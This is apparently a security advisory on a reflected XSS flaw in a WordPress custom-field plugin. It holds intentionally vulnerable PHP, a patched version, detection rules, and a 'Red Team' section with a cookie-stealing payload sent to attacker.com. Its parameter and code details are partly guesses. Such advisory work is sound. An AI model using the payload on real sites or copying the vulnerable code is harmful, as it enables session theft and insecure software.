CVE-2025-23500

Executive Summary

CVE-2025-23500 is a Reflected Cross-Site Scripting (XSS) vulnerability found in the WordPress plugin Simple Custom post type custom field (part of the simple-content-construction-kit package) by vendor Faaiq. This flaw allows an unauthenticated attacker to inject arbitrary JavaScript into a web page, which is then reflected back to the victim. The vulnerability affects all versions up to and including 1.0.3. The CVSS score is 7.1 (High), driven by the low complexity of the attack and the potential for credential theft, session hijacking, or defacement. No public exploit code or proof-of-concept is currently available, and no official patch has been released.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and potentially through third-party marketplaces. Since no patch exists, users must rely on manual mitigation (e.g., disabling the plugin or applying a WAF rule). The lack of a patch increases supply chain risk for any site using this plugin.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – Victim must click a crafted link.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – Limited impact on availability.

Threat Level: High (7.1). The vulnerability is easy to exploit and can lead to significant client-side attacks.

Deep Dive & Mechanics

The vulnerability stems from improper neutralization of user input in the simple-content-construction-kit plugin. Specifically, the plugin fails to sanitize or escape user-supplied data before embedding it in a web page. An attacker can craft a malicious URL containing JavaScript payloads in parameters that the plugin reflects back without encoding.

Attack Flow:

1. Attacker crafts a URL like: http://target.com/?scck_field=<script>alert('XSS')</script>
2. The plugin processes the scck_field parameter and reflects it directly into the HTML response.
3. Victim clicks the link (e.g., via phishing email).
4. The victim's browser executes the injected script in the context of the target site.

Root Cause: The plugin likely uses echo $_GET['scck_field'] or similar without applying esc_html() or wp_kses().

Vulnerable vs. Patched Code

Vulnerable Code (PHP):

<?php
// In a template or shortcode handler
$field = $_GET['scck_field'];
echo "<div class='custom-field'>" . $field . "</div>";
?>

Patched Code (Hypothetical):

<?php
$field = isset($_GET['scck_field']) ? sanitize_text_field($_GET['scck_field']) : '';
echo "<div class='custom-field'>" . esc_html($field) . "</div>";
?>

The patched version uses sanitize_text_field() to strip dangerous characters and esc_html() to encode HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A WordPress site with the vulnerable plugin (version <= 1.0.3) installed and active.
• Ability to send a crafted link to a victim.

Exploit Steps:

1. Identify a vulnerable parameter (e.g., scck_field).
2. Craft a payload:

   http://target.com/?scck_field=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
   

3. URL-encode the payload for reliability:

   http://target.com/?scck_field=%3Cscript%3Edocument.location%3D%27http%3A%2F%2Fattacker.com%2Fsteal.php%3Fcookie%3D%27%2Bdocument.cookie%3C%2Fscript%3E
   

4. Deliver the link via email, social media, or other channels.
5. Set up a listener on attacker.com to capture cookies.

No public exploit code is available. The above is a generic XSS exploitation example.

Blue Team (Defense & Detection)

Detection:

• Monitor web logs for requests containing <script> tags or encoded equivalents in query parameters.
• Use a Web Application Firewall (WAF) to block common XSS patterns.

Mitigation:

• Disable the plugin until a patch is released.
• Apply a virtual patch via WAF (e.g., ModSecurity rule to block scck_field containing <script>).
• Educate users not to click suspicious links.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests with scck_field parameter containing <script>, onerror, onload, or other event handlers.
  • Outbound connections to attacker-controlled domains from the victim's browser.
• File IOCs:
  • Modified WordPress core files (unlikely, but check for injected scripts).
• Log IOCs:
  • Web server logs showing repeated requests to /?scck_field=... with encoded payloads.

Detection Engineering

YARA Rule

rule detect_cve_2025_23500_xss {
    meta:
        description = "Detects reflected XSS attempts targeting CVE-2025-23500"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-23500"
    strings:
        $param = "scck_field="
        $script = /<script[^>]*>.*<\/script>/i
        $event = /on\w+\s*=\s*['"][^'"]*['"]/i
    condition:
        $param and ($script or $event)
}

Sigma Rule

title: Reflected XSS Attempt - CVE-2025-23500
id: 8a3f2c1e-5d7b-4a9f-8c6e-2b1d3f4a5e6c
status: experimental
description: Detects HTTP requests with XSS payloads in the scck_field parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: "scck_field="
        c-uri|contains|any:
            - "<script"
            - "onerror"
            - "onload"
            - "javascript:"
    condition: selection
falsepositives:
    - Legitimate use of similar strings in non-malicious contexts (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-23500 Reflected XSS Attempt"; flow:to_server,established; content:"scck_field="; http_uri; pcre:"/(<script|onerror|onload|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable the simple-content-construction-kit plugin if not critical.
2. Virtual Patching: Deploy a WAF rule to block requests containing scck_field with suspicious patterns.
3. Code Fix: If you have access to the plugin source, apply the patched code shown above.
4. User Awareness: Train users to avoid clicking untrusted links.
5. Monitor: Review web server logs for exploitation attempts.

No official patch is available. Monitor the WordPress plugin repository for updates.

Valters IT